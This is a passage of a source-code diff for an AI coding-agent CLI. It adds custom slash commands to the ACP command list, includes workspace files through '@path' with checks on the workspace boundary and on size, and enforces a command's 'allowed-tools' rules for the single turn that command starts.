allowed-tools: Bash(npm test:*), Read --- Run the tests in $1, filtered to `$2`. Everything typed: $ARGUMENTS +Our test conventions: @docs/testing.md ``` `$ARGUMENTS` is everything after the name; `$1`..`$9` are its words, split like a shell (quotes group). A body with neither gets the arguments appended. Typing `/frontend:test app.tsx` sends the filled-in text as your turn, and `incode -t "/frontend:test app.tsx"` runs it headless. Custom commands are listed in -`/help` and complete on Tab. `model` is used by `-t` when `-m` is not given; in -the REPL it is only named, since switching models starts the conversation over. -`allowed-tools` is advisory: shown, not enforced — guards, the permission mode -and hooks are what restrict tools. +`/help`, complete on Tab, and are offered to ACP clients (`incode --acp`) beside +the built-ins, with `argument-hint` as the input hint. `model` is used by `-t` +when `-m` is not given; in the REPL and over ACP it is only named, since +switching models starts the conversation over. + +`@path` in the body (at its start or after a space, naming something with a `/` +or a `.` — `@src/main.rs`, `@./Makefile`) is replaced by that file in a fenced +block headed by its path. The path must resolve inside the workspace (`..` and +symlinks are followed before checking); a file is read up to 256 KB and a +command's files up to 1 MB in all. Anything that cannot be included leaves a +marker such as `[@path: not found]` or `[@path: outside the workspace]`. Email +addresses are left alone, and only the command file's own text is looked at — +an `@path` you type as an argument is passed on as text, not read. + +`allowed-tools` holds the turn the command starts: each entry is a permission +rule (`Bash(npm test:*)`, `Read`, `Edit(src/**)` — the grammar of +[permission rules](#permission-rules)), and a tool call none of them covers is +refused, with the list named to the model. A compound shell line is covered +only when every part is. Only that turn: the next one is unrestricted. It only +narrows — deny and ask rules, guards, the mode and hooks still apply. It binds +where incode runs the tools (the API route and Claude Code); on Codex and +Antigravity, which bring their own tools, the turn says it was not enforced. A **plugin** is a folder in `~/.incode/plugins//` or `.incode/plugins//` with a `plugin.toml` (`name`, `version`, diff --git a/src/acp_agent/commands.rs b/src/acp_agent/commands.rs index d8e1862..6e5fb23 100644 --- a/src/acp_agent/commands.rs +++ b/src/acp_agent/commands.rs @@ -6,6 +6,11 @@ //! interactive REPL calls, inside [`crate::cli::console::capture`], and what //! the handler would have printed is the reply. //! +//! The operator's own commands ([`crate::custom_commands`]) are offered too, +//! after the built-ins, with their description and `argument-hint`. One is +//! not run here: the caller expands it into the turn's prompt before asking +//! this module, exactly as the REPL does. +//! //! # What is offered, and what is not //! //! Only a command that is dispatched here AND makes sense without a terminal @@ -34,6 +39,7 @@ use agent_client_protocol_schema::v1 as acp; use crate::cli::agent_turn::AgentSession; use crate::cli::slash_commands::{self, SlashCommand, COMMANDS}; +use crate::custom_commands::Registry; use crate::permissions::PermissionMode; /// What `/agent` and `/roles` need beyond the session: the directory the @@ -51,26 +57,43 @@ const OFFERED: [&str; 16] = [ "remember", "worktree", "agent", "agents", "roles", "tools", ]; -/// The list `available_commands_update` carries. -pub(crate) fn available() -> Vec { - OFFERED - .iter() - .filter_map(|name| { - let (entry, description) = COMMANDS - .iter() - .find(|(entry, _)| slash_commands::command_name(entry).get(1..) == Some(*name))?; - let command = acp::AvailableCommand::new(*name, *description); - // The table writes the arguments after the name: `/links `. - Some(match entry.split_once(' ').map(|(_, hint)| hint.trim()) { - Some(hint) if !hint.is_empty() => { - command.input(acp::AvailableCommandInput::Unstructured( - acp::UnstructuredCommandInput::new(hint), - )) - } - _ => command, - }) - }) - .collect() +/// The list `available_commands_update` carries: the built-ins offered, then +/// the operator's own commands. A custom command is not run here — it is +/// expanded into the turn's prompt by the caller, as the REPL does. +pub(crate) fn available(custom: &Registry) -> Vec { + let builtin = OFFERED.iter().filter_map(|name| { + let (entry, description) = COMMANDS + .iter() + .find(|(entry, _)| slash_commands::command_name(entry).get(1..) == Some(*name))?; + // The table writes the arguments after the name: `/links `. + let hint = entry.split_once(' ').map(|(_, hint)| hint.trim()); + Some(with_hint( + acp::AvailableCommand::new(*name, *description), + hint, + )) + }); + let own = custom.commands().iter().map(|command| { + let description = if command.description.is_empty() { + format!("({})", command.origin.label()) + } else { + format!("{} ({})", command.description, command.origin.label()) + }; + with_hint( + acp::AvailableCommand::new(command.name.as_str(), description), + command.argument_hint.as_deref(), + ) + }); + builtin.chain(own).collect() +} + +/// `command`, taking `hint` as its input when there is one. +fn with_hint(command: acp::AvailableCommand, hint: Option<&str>) -> acp::AvailableCommand { + match hint.map(str::trim) { + Some(hint) if !hint.is_empty() => command.input(acp::AvailableCommandInput::Unstructured( + acp::UnstructuredCommandInput::new(hint), + )), + _ => command, + } } /// What running a command did. @@ -170,7 +193,7 @@ mod tests { /// REPL's `/help` describe it the same way — and none is silently dropped. #[test] fn every_offered_command_is_announced_from_the_table() { - let announced = available(); + let announced = available(&Registry::default()); let names: Vec<&str> = announced.iter().map(|c| c.name.as_str()).collect(); assert_eq!( names, OFFERED, @@ -189,6 +212,33 @@ mod tests { ); } + /// The operator's own commands follow the built-ins, each with its + /// description, where it came from, and its `argument-hint` as the input. + #[test] + fn custom_commands_are_announced_after_the_built_ins() { + let dir = tempfile::tempdir().expect("dir"); + let project = dir.path().join("p"); + std::fs::create_dir_all(project.join("ci")).expect("mkdir"); + std::fs::write( + project.join("ci/test.md"), + "---\ndescription: Run one test file\nargument-hint: \n---\nTest $1", + ) + .expect("write"); + std::fs::write(project.join("tidy.md"), "Tidy up.").expect("write"); + let registry = Registry::load_from(&project, &dir.path().join("u"), &[]); + let announced = available(®istry); + assert_eq!(announced.len(), OFFERED.len() + 2); + let ci = &announced[OFFERED.len()]; + assert_eq!(ci.name, "ci:test"); + assert_eq!(ci.description, "Run one test file (project)"); + let encoded = serde_json::to_value(ci).expect("encodes"); + assert_eq!(encoded["input"]["hint"], "", "{encoded}"); + let tidy = &announced[OFFERED.len() + 1]; + assert_eq!(tidy.name, "tidy"); + assert_eq!(tidy.description, "(project)"); + assert!(tidy.input.is_none()); + } + /// The commands left out are left out: running one says so, and says what /// is offered, instead of starting it. #[test] diff --git a/src/acp_agent/mod.rs b/src/acp_agent/mod.rs index 02de24a..ed25a7c 100644 --- a/src/acp_agent/mod.rs +++ b/src/acp_agent/mod.rs @@ -32,7 +32,9 @@ //! list, the diff of each edit that landed and the context window's fill //! stream as `session/update`, and the reply carries the stop reason. A //! prompt that is a slash command runs that command instead ([`commands`]); -//! `/run` works the ledger and sends it as the plan ([`run`]). +//! `/run` works the ledger and sends it as the plan ([`run`]). One that +//! names the operator's own command ([`crate::custom_commands`]) is +//! expanded and is the turn, held to the command's `allowed-tools`. //! - `session/cancel` — trips the session's cancel token; the pending prompt //! answers `cancelled`. //! - `session/set_mode` — `read-only`, `workspace-write` or @@ -1040,6 +1042,13 @@ fn drive( for line in &connected { eprintln!("incode acp: {line}"); } + // The operator's own slash commands — the project's, the user's and the + // plugins' — offered beside the built-ins. What was wrong with a file is + // said where the servers' troubles are. + let custom = crate::custom_commands::Registry::load(&workspace); + for warning in &custom.warnings { + eprintln!("incode acp: {warning}"); + } let choices = config::opening(&settings, &roles, session.model()); *shared.choices() = Some(choices.clone()); let mut held = Held { @@ -1055,6 +1064,7 @@ fn drive( shown: choices.options(), replay: None, watch, + custom, }; let say = |update: acp::SessionUpdate| { outbox.notify( @@ -1085,7 +1095,7 @@ fn drive( } // After the answer, so the client knows the session the list belongs to. say(acp::SessionUpdate::AvailableCommandsUpdate( - acp::AvailableCommandsUpdate::new(commands::available()), + acp::AvailableCommandsUpdate::new(commands::available(&held.custom)), )); if !connected.is_empty() { say(acp::SessionUpdate::AgentMessageChunk( @@ -1186,6 +1196,8 @@ struct Held { replay: Option, /// The session's watch: its turns' steps are shown through it. watch: workers::SessionWatch, + /// The operator's own slash commands, as the session opened. + custom: crate::custom_commands::Registry, } /// One prompt: the same turn an interactive line runs, streamed as updates — @@ -1204,6 +1216,19 @@ fn run_prompt( if text.trim().is_empty() { return Err(invalid_params("the prompt has no text")); } + // The operator's own command becomes the prompt, as it does in the REPL: + // before anything asks whether the prompt is a slash command, so it is + // never answered as one that is not offered. Its `allowed-tools` hold + // the turn it starts. + let typed = text.clone(); + let (text, allowed_tools, expanded) = match held.custom.expand_line(&text, workspace) { + Some(expanded) => ( + expanded.prompt.clone(), + expanded.allowed_tools.clone(), + Some(crate::custom_commands::note(&expanded)), + ), + None => (text, Vec::new(), None), + }; // Pictures go to the model with a question; a command runs here and has // nowhere to put them. if !images.is_empty() && crate::cli::slash_commands::SlashCommand::parse(text.trim()).is_some() @@ -1262,6 +1287,10 @@ fn run_prompt( } }; + if let Some(note) = &expanded { + say_text(&format!("{note}\n\n")); + } + // A slash command is run here, as the REPL runs it, and never reaches the // agent. It runs to the end: a cancel that lands meanwhile decides the // answer, as it does for a turn. @@ -1334,6 +1363,9 @@ fn run_prompt( }; held.watch.serve_as(who.clone()); let mut presenter = held.watch.presenter(workspace); + // Set here, after every way out above that runs no turn, so it is taken + // by this turn and no other. + session.restrict_next_turn(allowed_tools); let outcome = session.turn_observed( workspace, &instruction, @@ -1360,7 +1392,7 @@ fn run_prompt( // Which conversation the model holds now, so the session can be loaded // and resumed; and the pickers, when the turn changed what serves the // session (a standby took over) or what model it asks for. - history::remember(held, session_id, &text); + history::remember(held, session_id, &typed); config::report(held, shared, outbox, session_id); // A cancel decides the answer whatever the turn did with it: ACP requires @@ -1881,6 +1913,10 @@ mod tests { } } + fn runs_tools_here(&self) -> bool { + self.tools.is_some() + } + fn set_cancel(&mut self, token: CancelToken) { if let Some(tools) = &mut self.tools { tools.set_cancel(token.clone()); @@ -2599,8 +2635,10 @@ mod tests { let announced = client.next(); assert_eq!(announced["params"]["sessionId"], session, "{announced}"); let names = commands_announced(std::slice::from_ref(&announced)).expect("a command list"); + // The built-ins first; the operator's own commands, if this machine + // has any, after them. assert_eq!( - names, + names[..16], [ "undo", "rewind", "plan", "act", "diff", "links", "roadmap", "run", "doctor", "memories", "remember", "worktree", "agent", "agents", "roles", "tools" @@ -2610,6 +2648,54 @@ mod tests { client.close(); } + /// **A CUSTOM COMMAND IS OFFERED AND RUNS AS THE TURN.** The project's + /// command is in the list with its hint; typed, it is expanded — its + /// arguments and its `@file` filled in — and the agent is asked the + /// expansion, not the slash line, with what it became said first. + #[test] + fn a_custom_command_is_offered_and_expanded_into_the_turn() { + let mut client = client(Behaviour::Named); + let dir = tempfile::tempdir().expect("temp dir"); + let commands = dir.path().join(crate::custom_commands::PROJECT_DIR); + std::fs::create_dir_all(&commands).expect("mkdir"); + std::fs::write( + commands.join("greet.md"), + "---\ndescription: Greet someone\nargument-hint: \nallowed-tools: Read\n---\n\ + Write a greeting for $1 in the style of @style.txt", + ) + .expect("write"); + std::fs::write(dir.path().join("style.txt"), "pirate").expect("write"); + let session = client.open_session(dir.path()); + let announced = client.next(); + let listed = updates_of(std::slice::from_ref(&announced)) + .into_iter() + .find(|u| u["sessionUpdate"] == "available_commands_update") + .and_then(|u| u["availableCommands"].as_array().cloned()) + .expect("a command list"); + let greet = listed + .iter() + .find(|c| c["name"] == "greet") + .unwrap_or_else(|| panic!("greet is not offered: {announced}")); + assert_eq!(greet["description"], "Greet someone (project)", "{greet}"); + assert_eq!(greet["input"]["hint"], "", "{greet}"); + + let (streamed, reply) = prompt_in(&mut client, &session, "/greet Ada"); + assert_eq!(reply["result"]["stopReason"], "end_turn", "{reply}"); + let said = text_of(&streamed); + assert!( + said.contains("/greet expanded into the prompt; this turn may use only: Read"), + "{said:?}" + ); + assert!( + said.contains( + "Write a greeting for Ada in the style of \nstyle.txt:\n```\npirate\n```" + ), + "the agent was not asked the expansion: {said:?}" + ); + assert!(!said.contains("not a command offered here"), "{said:?}"); + client.close(); + } + /// **A SLASH COMMAND RUNS ITS HANDLER AND NEVER REACHES THE AGENT.** /// /// What the handler printed is the reply; the fake agent's words and tool diff --git a/src/agent/api.rs b/src/agent/api.rs index a497d97..33f867b 100644 --- a/src/agent/api.rs +++ b/src/agent/api.rs @@ -1434,6 +1434,10 @@ impl AgentBackend for ApiBackend { self.tools.share_session(state); } + fn runs_tools_here(&self) -> bool { + true + } + /// The team channel's tools are the toolbox's, so the toolbox is who /// speaks. fn set_team_identity(&mut self, role: &str) { diff --git a/src/agent/claude_code.rs b/src/agent/claude_code.rs index 7b34cb5..1e98436 100644 --- a/src/agent/claude_code.rs +++ b/src/agent/claude_code.rs @@ -1345,6 +1345,12 @@ impl AgentBackend for ClaudeCodeBackend { self.tools.share_session(state); } + /// The CLI's own tools are switched off; every call comes back through + /// the bridge to this backend's toolbox. + fn runs_tools_here(&self) -> bool { + true + } + fn deny_rules(&self) -> &[String] { ClaudeCodeBackend::deny_rules(self) } diff --git a/src/agent/mod.rs b/src/agent/mod.rs index 46340fc..3b68451 100644 --- a/src/agent/mod.rs +++ b/src/agent/mod.rs @@ -993,6 +993,16 @@ pub trait AgentBackend { /// jobs or list of incode's to share. fn share_session_tools(&mut self, _state: std::sync::Arc) {} + /// Whether every tool call this backend's model makes runs through + /// incode's [`crate::toolbox::Toolbox`] — so a restriction set on the + /// shared [`crate::toolbox::SessionTools`] binds it. + /// + /// Defaulted to no: an agent CLI that brings its own tools runs them + /// where incode cannot refuse one. + fn runs_tools_here(&self) -> bool { + false + } + /// The model this backend was asked for, when it was asked for one. fn model(&self) -> Option<&str> { None @@ -1169,6 +1179,10 @@ impl AgentBackend for Box { (**self).share_session_tools(state); } + fn runs_tools_here(&self) -> bool { + (**self).runs_tools_here() + } + fn model(&self) -> Option<&str> { (**self).model() } diff --git a/src/cli/agent_turn.rs b/src/cli/agent_turn.rs index ba6b72a..136468c 100644 --- a/src/cli/agent_turn.rs +++ b/src/cli/agent_turn.rs @@ -124,6 +124,9 @@ pub struct AgentSession { /// Who is told what the tools and workers do while they run, so a /// backend switched in tells them too. watch: Option>, + /// The `allowed-tools` of the custom command the next turn runs, taken + /// by that turn and held for it alone. Empty: the turn is not narrowed. + next_allowed: Vec, } /// How wide a tool result panel is drawn in a conversation. @@ -244,9 +247,41 @@ impl AgentSession { mode: None, prompter: None, watch: None, + next_allowed: Vec::new(), } } + /// Hold the next turn — that one, not the session — to `allowed`, a custom + /// command's `allowed-tools` in the permission rules' grammar. Empty lifts + /// a restriction set and not yet used. + pub fn restrict_next_turn(&mut self, allowed: Vec) { + self.next_allowed = allowed; + } + + /// The next turn's restriction, put in force on the session's tools: + /// the guard that lifts it, or `None` when the turn is not narrowed. Said + /// in the notices when a rule does not parse, and when the agent serving + /// the turn runs its own tools, where incode cannot refuse a call. + fn hold_turn_to_allowed(&mut self) -> Option { + let allowed = std::mem::take(&mut self.next_allowed); + if allowed.is_empty() { + return None; + } + let (list, warnings) = crate::permissions::rules::Allowlist::parse( + &allowed, + crate::admin::home_dir().as_deref(), + ); + self.notices.extend(warnings); + if !self.backend.runs_tools_here() { + self.notices.push(crate::custom_commands::not_enforced_by( + self.backend.id(), + &allowed, + )); + } + crate::trace!("session", "this turn's tools: {}", allowed.join(", ")); + Some(self.session_tools.restrict_turn(list)) + } + /// Put `backend` in as the agent that serves the next turn, carrying /// everything this session has already given the one it replaces: its /// tools, roots, stop, mode, prompter, memory id and standing context. @@ -751,6 +786,9 @@ impl AgentSession { if let Some(token) = &self.cancel { token.reset(); } + // A custom command's `allowed-tools`, in force for this turn — its + // follow-up and continuations included — and lifted when it ends. + let held_to = self.hold_turn_to_allowed(); // A turn not opened by a person's line (a continuation, `/run`) still // carries the session-start block. self.settle_memory_start(); @@ -1005,6 +1043,15 @@ impl AgentSession { start_new_line!(on_text); on_text(&format!("\n[{handover}]\n\n")); + if held_to.is_some() && !self.standby[index].runs_tools_here() { + self.notices.push(crate::custom_commands::not_enforced_by( + &took_over, + &self + .session_tools + .turn_allowlist() + .map_or_else(Vec::new, |l| l.listed().to_vec()), + )); + } // Reset stream filter and turn tracking for the standby agent attempt filter = crate::ask::StreamFilter::new(); @@ -2091,4 +2138,108 @@ mod tests { seen.context ); } + + // ----------------------------------------------------------------------- + // A custom command's `allowed-tools`, held for one turn. + // ----------------------------------------------------------------------- + + /// The allowlist each turn ran under, as written; `None` for a turn with + /// none. + type HeldTo = Arc>>>>; + + /// A backend that writes down, each turn, the allowlist in force on the + /// session tools it was handed. + struct ToolsSpy { + runs_tools_here: bool, + state: Option>, + seen: HeldTo, + } + + impl AgentBackend for ToolsSpy { + fn id(&self) -> &str { + "spy" + } + fn run_turn( + &mut self, + _prompt: &str, + _on_event: &mut dyn FnMut(&AgentEvent), + ) -> Result { + let held = self + .state + .as_ref() + .and_then(|s| s.turn_allowlist()) + .map(|list| list.listed().to_vec()); + self.seen.lock().expect("seen").push(held); + Ok(TurnOutcome { + session_id: String::new(), + stop_reason: "end_turn".to_string(), + is_error: false, + detail: None, + served_by: Vec::new(), + }) + } + fn session_id(&self) -> Option<&str> { + None + } + fn share_session_tools(&mut self, state: Arc) { + self.state = Some(state); + } + fn runs_tools_here(&self) -> bool { + self.runs_tools_here + } + } + + fn spied(dir: &Path, runs_tools_here: bool) -> (AgentSession, HeldTo) { + let seen = Arc::default(); + let s = session(dir).with_backend(Box::new(ToolsSpy { + runs_tools_here, + state: None, + seen: Arc::clone(&seen), + })); + (s, seen) + } + + /// **ONE TURN, NOT THE SESSION.** The restriction is in force while the + /// turn it was set for runs, lifted when it ends, and the next turn runs + /// with none. + #[test] + fn a_command_restriction_holds_its_turn_and_no_other() { + let dir = tempfile::tempdir().expect("ws"); + let (mut s, seen) = spied(dir.path(), true); + s.restrict_next_turn(vec!["Read".to_string(), "Bash(npm test:*)".to_string()]); + s.turn(dir.path(), "first", &[], &mut |_| {}, &mut |_| {}) + .expect("turn"); + assert!(s.session_tools().turn_allowlist().is_none(), "lifted"); + s.turn(dir.path(), "second", &[], &mut |_| {}, &mut |_| {}) + .expect("turn"); + assert_eq!( + *seen.lock().expect("seen"), + vec![ + Some(vec!["Read".to_string(), "Bash(npm test:*)".to_string()]), + None + ] + ); + assert!( + !s.take_notices().iter().any(|n| n.contains("NOT enforced")), + "enforced where incode runs the tools" + ); + } + + /// An agent that runs its own tools is not held to it, and the turn says + /// so rather than letting the list read as enforced. + #[test] + fn a_command_restriction_on_an_agent_with_its_own_tools_is_said_unenforced() { + let dir = tempfile::tempdir().expect("ws"); + let (mut s, _seen) = spied(dir.path(), false); + s.restrict_next_turn(vec!["Read".to_string()]); + s.turn(dir.path(), "first", &[], &mut |_| {}, &mut |_| {}) + .expect("turn"); + let notices = s.take_notices(); + assert!( + notices + .iter() + .any(|n| n.contains("allowed-tools (Read) was NOT enforced") && n.contains("spy")), + "{notices:?}" + ); + } } diff --git a/src/cli/mod.rs b/src/cli/mod.rs index 3968afa..a1102c3 100644 --- a/src/cli/mod.rs +++ b/src/cli/mod.rs @@ -827,9 +827,14 @@ impl CliApp { if line.is_empty() { continue; } - let line = match custom_commands.expand_line(&line) { - Some(expanded) => crate::custom_commands::announce(&expanded), - None => line, + // A custom command's `allowed-tools` hold the turn it starts, and + // only that one. + let (line, allowed_tools) = match custom_commands.expand_line(&line, &workspace) { + Some(expanded) => ( + crate::custom_commands::announce(&expanded), + expanded.allowed_tools, + ), + None => (line, Vec::new()), }; // Check for slash commands @@ -1272,9 +1277,13 @@ impl CliApp { // Context, checkpoint, turn and streaming all live in one place // now, shared with the one-shot path above so the two cannot drift. let turn_began = std::time::Instant::now(); + session.restrict_next_turn(allowed_tools); if let Err(e) = run_one_turn(&mut session, &workspace, &augmented_input, &line) { render::print_error(&e); } + // Lifted whether or not a turn ran: a line answered without one + // (a reply to a question) must not pass it on to the next. + session.restrict_next_turn(Vec::new()); notify::turn_finished(turn_began.elapsed()); ux.refresh_status(footer.as_mut(), &session, &workspace, git_context.as_ref()); diff --git a/src/custom_commands.rs b/src/custom_commands.rs index e2fd0e1..bc3d840 100644 --- a/src/custom_commands.rs +++ b/src/custom_commands.rs @@ -31,11 +31,40 @@ //! A body that uses neither is given what was typed on a line of its own at //! the end, so arguments are never dropped in silence. //! +//! # Files in the body +//! +//! `@path` in the body — at its start or after whitespace, naming something +//! with a `/` or a `.` in it (`@src/main.rs`, `@./Makefile`) — is replaced by +//! that file's contents in a fenced block headed by the path. The path is +//! resolved against the workspace and must stay inside it once `..` and +//! symlinks are resolved; an absolute path is taken only when it is inside. +//! A file is read up to [`MAX_INCLUDE_BYTES`], and all of a command's files +//! up to [`MAX_INCLUDES_TOTAL`]. What cannot be included leaves a marker the +//! model can read — `[@path: not found]`, `[@path: outside the workspace]` — +//! rather than vanishing. An email address (`a@b.com`) is left alone. +//! +//! Only the command file's own text is looked at. What was typed as +//! arguments is substituted as it is: `/review @secrets.txt` does not read +//! `secrets.txt`, and neither does a body's `@$1`. A file the person names +//! is for the model to read with its tools, under the session's rules. +//! +//! # Model and tools +//! //! `model` is honoured by `incode -t "/name args"` when `-m` is not given; in -//! the REPL switching the model abandons the conversation, so it is said, not -//! done. `allowed-tools` is ADVISORY: it is parsed, shown and carried on the -//! expansion, but no tool is refused because of it — the guards, the -//! permission mode and the operator's hooks are what restrict tools. +//! the REPL and over ACP switching the model abandons the conversation, so it +//! is said, not done. +//! +//! `allowed-tools` HOLDS THE TURN the command starts: its entries are +//! permission rules (`Bash(npm test:*)`, `Read`, `Edit(src/**)`, see +//! [`crate::permissions::rules`]), and a tool call none of them covers is +//! refused, with the list named to the model. Only that turn — its follow-up +//! and continuations included — and never the next. It only narrows: a call +//! it covers still meets the deny and ask rules, the guards, the mode and +//! the operator's hooks. It binds where incode runs the model's tools (the +//! API route, and Claude Code, whose tools are incode's); an agent CLI that +//! brings its own tools (Codex, Antigravity) is not held to it, and the turn +//! says so. A sub-agent the turn starts with `Agent` (when the list allows +//! it) runs under its own definition's tools, not this list. use std::path::{Path, PathBuf}; use std::sync::OnceLock; @@ -49,6 +78,12 @@ pub const USER_DIR: &str = "commands"; /// The largest command file read. A prompt, not a document. pub const MAX_FILE_BYTES: u64 = 64 * 1024; +/// The largest file one `@path` in a command's body brings in. +pub const MAX_INCLUDE_BYTES: u64 = 256 * 1024; + +/// The most all of one command's `@path` files bring in together. +pub const MAX_INCLUDES_TOTAL: u64 = 1024 * 1024; + /// Where a command came from. #[derive(Debug, Clone, PartialEq, Eq)] pub enum Origin { @@ -76,7 +111,8 @@ pub struct CustomCommand { pub description: String, pub argument_hint: Option, pub model: Option, - /// Advisory; see the module documentation. + /// Permission rules the turn it starts is held to; see the module + /// documentation. Empty: the turn is not narrowed. pub allowed_tools: Vec, pub body: String, pub path: PathBuf, @@ -176,9 +212,11 @@ impl Registry { }) } - /// `line` filled in, when it names one of these commands and no built-in. + /// `line` filled in, when it names one of these commands and no built-in: + /// the arguments substituted and the body's `@path` files, under + /// `workspace`, included. #[must_use] - pub fn expand_line(&self, line: &str) -> Option { + pub fn expand_line(&self, line: &str, workspace: &Path) -> Option { let line = line.trim(); let rest = line.strip_prefix('/')?; let (name, args) = match rest.split_once(char::is_whitespace) { @@ -194,7 +232,7 @@ impl Registry { let command = self.find(name)?; Some(Expanded { name: command.name.clone(), - prompt: substitute(&command.body, args), + prompt: fill(&command.body, args, Some(workspace)), model: command.model.clone(), allowed_tools: command.allowed_tools.clone(), }) @@ -251,10 +289,11 @@ pub fn all_commands() -> impl Iterator { .chain(menu().iter().copied()) } -/// Say in the REPL what a custom command became, and hand back its prompt. -/// The model it asks for is named rather than switched to: switching starts -/// the conversation over. -pub fn announce(expanded: &Expanded) -> String { +/// What a custom command became, in a line: its name, the model it asks for +/// (named rather than switched to: switching starts the conversation over), +/// and the tools the turn is held to. +#[must_use] +pub fn note(expanded: &Expanded) -> String { let mut note = format!("/{} expanded into the prompt", expanded.name); if let Some(model) = &expanded.model { note.push_str(&format!( @@ -263,38 +302,74 @@ pub fn announce(expanded: &Expanded) -> String { } if !expanded.allowed_tools.is_empty() { note.push_str(&format!( - "; allowed-tools ({}) is advisory", + "; this turn may use only: {}", expanded.allowed_tools.join(", ") )); } - crate::cli::render::print_info(¬e); + note +} + +/// Say in the REPL what a custom command became, and hand back its prompt. +pub fn announce(expanded: &Expanded) -> String { + crate::cli::render::print_info(¬e(expanded)); expanded.prompt.clone() } +/// What the person is told when the agent serving a narrowed turn runs its +/// own tools, where incode cannot refuse a call. +#[must_use] +pub fn not_enforced_by(agent: &str, allowed: &[String]) -> String { + crate::trace!( + "session", + "allowed-tools ({}) not enforced: {agent} runs its own tools", + allowed.join(", ") + ); + format!( + "allowed-tools ({}) was NOT enforced this turn: {agent} runs its own tools, which \ + incode cannot refuse. It binds on the API route and Claude Code.", + allowed.join(", ") + ) +} + +/// A `-t` instruction, after a custom command is looked for in it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Task { + pub instruction: String, + /// `-m` first, then the command's. + pub model: Option, + /// The command's `allowed-tools`, which the run is held to. + pub allowed_tools: Vec, +} + /// For `incode -t ""`: the instruction expanded when it names a -/// custom command, and the model to use (`-m` first, then the command's). +/// custom command, the model to use, and the tools the run is held to. #[must_use] -pub fn expand_task( - workspace: &Path, - instruction: String, - model: Option, -) -> (String, Option) { +pub fn expand_task(workspace: &Path, instruction: String, model: Option) -> Task { + let plain = |instruction, model| Task { + instruction, + model, + allowed_tools: Vec::new(), + }; if !instruction.trim_start().starts_with('/') { - return (instruction, model); + return plain(instruction, model); } let registry = Registry::load(workspace); - match registry.expand_line(&instruction) { + match registry.expand_line(&instruction, workspace) { Some(expanded) => { eprintln!("incode: running custom command /{}", expanded.name); if !expanded.allowed_tools.is_empty() { eprintln!( - "incode: allowed-tools ({}) is advisory and not enforced", + "incode: this run may use only: {}", expanded.allowed_tools.join(", ") ); } - (expanded.prompt, model.or(expanded.model)) + Task { + instruction: expanded.prompt, + model: model.or(expanded.model), + allowed_tools: expanded.allowed_tools, + } } - None => (instruction, model), + None => plain(instruction, model), } } @@ -427,10 +502,44 @@ pub fn parse(text: &str) -> Result { /// The body with `$ARGUMENTS` and `$1`..`$9` filled in from `args`. #[must_use] pub fn substitute(body: &str, args: &str) -> String { + fill(body, args, None) +} + +/// The body with its arguments substituted and, given a workspace, its +/// `@path` files included. The two are done in one pass over the body's own +/// text, so neither an argument nor an included file is read for the other: +/// a `$1` inside a file stays as written, and an `@` typed as an argument is +/// not a file. +fn fill(body: &str, args: &str, workspace: Option<&Path>) -> String { let words = split_args(args); let mut out = String::with_capacity(body.len() + args.len()); let mut used = false; - let mut rest = body; + let mut budget = MAX_INCLUDES_TOTAL; + let pieces = match workspace { + Some(_) => pieces(body), + None => vec![Piece::Text(body)], + }; + for piece in pieces { + match (piece, workspace) { + (Piece::Include(path), Some(workspace)) => { + include(path, workspace, &mut budget, &mut out); + } + (Piece::Include(text) | Piece::Text(text), _) => { + used |= substitute_into(text, args, &words, &mut out); + } + } + } + if !used && !args.is_empty() { + out.push_str("\n\nARGUMENTS: "); + out.push_str(args); + } + out +} + +/// `text` onto `out` with its placeholders filled; whether it had any. +fn substitute_into(text: &str, args: &str, words: &[String], out: &mut String) -> bool { + let mut used = false; + let mut rest = text; while let Some(at) = rest.find('$') { out.push_str(&rest[..at]); let after = &rest[at + 1..]; @@ -449,13 +558,114 @@ pub fn substitute(body: &str, args: &str) -> String { } } out.push_str(rest); - if !used && !args.is_empty() { - out.push_str("\n\nARGUMENTS: "); - out.push_str(args); + used +} + +/// A command body, cut at its `@path` includes. +#[derive(Debug, PartialEq, Eq)] +enum Piece<'a> { + Text(&'a str), + /// The path, without its `@`. + Include(&'a str), +} + +/// `body` as text and includes, in order. +fn pieces(body: &str) -> Vec> { + let mut out = Vec::new(); + let mut text_from = 0; + let mut search_from = 0; + while let Some(found) = body[search_from..].find('@') { + let at = search_from + found; + search_from = at + 1; + // At the start or after whitespace: `a@b.com` is an address. + let starts_a_word = body[..at] + .chars() + .next_back() + .is_none_or(char::is_whitespace); + let Some(path) = include_path(&body[at + 1..]).filter(|_| starts_a_word) else { + continue; + }; + out.push(Piece::Text(&body[text_from..at])); + out.push(Piece::Include(path)); + text_from = at + 1 + path.len(); + search_from = text_from; } + out.push(Piece::Text(&body[text_from..])); out } +/// The path `rest` starts with, when it looks like one: the characters a +/// path is written with, less a sentence's closing `.` or `:`, naming a +/// folder or an extension — so `@alice` stays a mention. +fn include_path(rest: &str) -> Option<&str> { + let end = rest + .find(|c: char| !(c.is_alphanumeric() || matches!(c, '/' | '.' | '_' | '-' | '+' | '~'))) + .unwrap_or(rest.len()); + let path = rest[..end].trim_end_matches(['.', ':']); + let looks_like_one = + (path.contains('/') || path.contains('.')) && path.chars().any(char::is_alphanumeric); + looks_like_one.then_some(path) +} + +/// The file at `path`, in a fenced block headed by the path, onto `out` — +/// or a marker saying why it is not there. `budget` is what the command's +/// files may still bring in. +fn include(path: &str, workspace: &Path, budget: &mut u64, out: &mut String) { + let marker = |out: &mut String, why: &str| out.push_str(&format!("[@{path}: {why}]")); + // Where the file really is, `..` and symlinks resolved, must be inside; + // a path that does not exist is outside when its text already leaves. + let root = workspace + .canonicalize() + .unwrap_or_else(|_| workspace.to_path_buf()); + let named = crate::permissions::rules::normalise(&root, path); + let Ok(real) = named.canonicalize() else { + return marker( + out, + if named.starts_with(&root) { + "not found" + } else { + "outside the workspace" + }, + ); + }; + if !real.starts_with(&root) { + return marker(out, "outside the workspace"); + } + let size = match std::fs::metadata(&real) { + Ok(meta) if meta.is_file() => meta.len(), + Ok(_) => return marker(out, "not a file"), + Err(_) => return marker(out, "not found"), + }; + if size > MAX_INCLUDE_BYTES { + return marker( + out, + &format!("{size} bytes, over the {MAX_INCLUDE_BYTES}-byte limit for one file"), + ); + } + if size > *budget { + return marker( + out, + &format!("left out, the command's files reached {MAX_INCLUDES_TOTAL} bytes"), + ); + } + let Ok(text) = std::fs::read_to_string(&real) else { + return marker(out, "not readable as text"); + }; + *budget -= size; + // Longer than any run of backticks inside, so the file cannot close it. + let longest = text.split(|c| c != '`').map(str::len).max().unwrap_or(0); + let fence = "`".repeat(longest.max(2) + 1); + if !out.is_empty() && 